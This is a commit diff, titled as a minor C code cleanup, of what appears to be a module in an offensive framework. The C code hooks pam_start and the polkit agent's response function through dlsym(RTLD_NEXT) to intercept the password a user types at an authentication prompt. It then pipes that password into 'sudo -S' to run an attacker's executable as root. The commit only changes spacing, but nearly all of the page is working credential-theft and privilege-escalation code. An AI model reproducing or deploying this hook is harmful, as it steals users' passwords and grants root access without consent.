Do minor c code cleanup
parent
92113a61ce
commit
43ec8871bc
|
@ -174,23 +174,25 @@ struct pam_message {
|
||||||
int msg_style;
|
int msg_style;
|
||||||
const char *msg;
|
const char *msg;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct pam_response {
|
struct pam_response {
|
||||||
char *resp;
|
char *resp;
|
||||||
int resp_retcode;
|
int resp_retcode;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct pam_conv {
|
struct pam_conv {
|
||||||
int (*conv)(int num_msg, const struct pam_message **msg,
|
int (*conv)(int num_msg, const struct pam_message **msg,
|
||||||
struct pam_response **resp, void *appdata_ptr);
|
struct pam_response **resp, void *appdata_ptr);
|
||||||
void *appdata_ptr;
|
void *appdata_ptr;
|
||||||
};
|
};
|
||||||
|
|
||||||
void run_sudo(char* password){
|
void run_sudo(char* password) {
|
||||||
FILE* sudo = popen("sudo -S #{exe_file}","w");
|
FILE* sudo = popen("sudo -S #{exe_file}", "w");
|
||||||
fprintf(sudo,"%s\\n",password);
|
fprintf(sudo,"%s\\n",password);
|
||||||
pclose(sudo);
|
pclose(sudo);
|
||||||
}
|
}
|
||||||
|
|
||||||
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr){
|
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
|
||||||
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
|
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
|
||||||
int i;
|
int i;
|
||||||
int passwd_index = -1;
|
int passwd_index = -1;
|
||||||
|
@ -199,14 +201,14 @@ int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **r
|
||||||
passwd_index = i;
|
passwd_index = i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
int result = orig_pam_conversation->conv(num_msg,msg,resp,orig_pam_conversation->appdata_ptr);
|
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
|
||||||
if(passwd_index >= 0){
|
if(passwd_index >= 0){
|
||||||
run_sudo(resp[passwd_index]->resp);
|
run_sudo(resp[passwd_index]->resp);
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)){
|
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
|
||||||
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
|
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
|
||||||
if(!orig_pam_start){
|
if(!orig_pam_start){
|
||||||
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
|
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
|
||||||
|
@ -217,13 +219,13 @@ int pam_start(const char *service_name, const char *user, const struct pam_conv
|
||||||
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
|
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
|
||||||
}
|
}
|
||||||
|
|
||||||
void polkit_agent_session_response (void *session, char *response) __attribute__((export)){
|
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
|
||||||
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
|
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
|
||||||
if(!orig_polkit_agent_session_response){
|
if(!orig_polkit_agent_session_response){
|
||||||
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
|
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
|
||||||
}
|
}
|
||||||
run_sudo(response);
|
run_sudo(response);
|
||||||
orig_polkit_agent_session_response(session,response);
|
orig_polkit_agent_session_response(session, response);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
|
|
||||||
|
|
Loading…
Reference in New Issue